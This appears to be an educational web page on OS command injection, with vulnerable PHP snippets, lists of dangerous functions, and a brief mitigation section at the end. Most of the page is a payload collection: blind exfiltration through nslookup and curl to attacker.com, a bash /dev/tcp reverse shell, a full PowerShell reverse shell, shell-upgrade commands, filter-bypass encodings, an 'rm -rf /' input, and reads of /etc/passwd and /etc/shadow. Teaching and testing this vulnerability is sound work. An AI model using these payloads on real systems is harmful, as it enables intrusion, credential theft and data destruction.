Master the art of system exploitation and defense
OS Command Injection is a critical vulnerability where an attacker can execute arbitrary operating system commands on the server hosting a web application.
// Real-world example:
$email = $_GET['email'];
system("mail -s 'Notification' " . $email);
// Attacker inputs: user@example.com; rm -rf /
For successful exploitation, these conditions must exist:
| Requirement | Explanation |
|---|---|
| User input in system commands | Application passes user input to OS commands |
| Insufficient input validation | No proper filtering of command separators |
| Dangerous functions used | Direct command execution functions |
Developers create vulnerabilities by:
system(), exec()// Vulnerable PHP code example:
$user_input = $_GET['ip'];
system("ping " . $user_input);
// Attacker can input: 8.8.8.8; cat /etc/passwd
system(), exec(), passthru(), shell_exec(), popen(), proc_open(), backticks (``), pcntl_exec(), dl()
os.system(), os.popen(), subprocess.call(), subprocess.Popen(), subprocess.run(), commands.* (deprecated), eval()
child_process.exec(), child_process.execSync(), child_process.spawn(), child_process.execFile(), eval(), vm.runInNewContext()
Runtime.exec(), ProcessBuilder, GroovyShell.evaluate(), ScriptEngine.eval()
; whoamiWelcome to the Command Injection Simulator!
Try these payloads:
; whoami - Basic command| ls -la - Pipe output$(cat /etc/passwd) - Command substitution> _
When you don't see command output:
# Time-based detection ; sleep 5 # DNS exfiltration ; nslookup $(whoami).attacker.com # HTTP exfiltration ; curl http://attacker.com/$(cat /etc/passwd | base64)
# Reverse shell (Linux)
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Reverse shell (Windows)
; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Spawn interactive shell
; python -c 'import pty; pty.spawn("/bin/bash")'
; script -qc /bin/bash /dev/null
# Upgrade shell
; export TERM=xterm
; stty rows 24 columns 80
| Filter | Bypass Technique | Payload Example |
|---|---|---|
| Spaces | Tabs, ${IFS}, braces | {cat,/etc/passwd} |
| Blacklisted words | Environment variables, encoding | ${PATH:0:1}bin${PATH:0:1}ls |
| Special chars | Hex/octal encoding | \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 |
| Command blocks | Alternative separators | %0aid (newline) |
cat /etc/passwd less /etc/shadow head -n 10 /var/log/auth.log
uname -a id whoami ps aux
type C:\Windows\win.ini more C:\boot.ini
whoami systeminfo net user ipconfig /all
# Python safe example import subprocess subprocess.run(['ping', '-c', '4', user_input], shell=False) // PHP safe example escapeshellarg($user_input);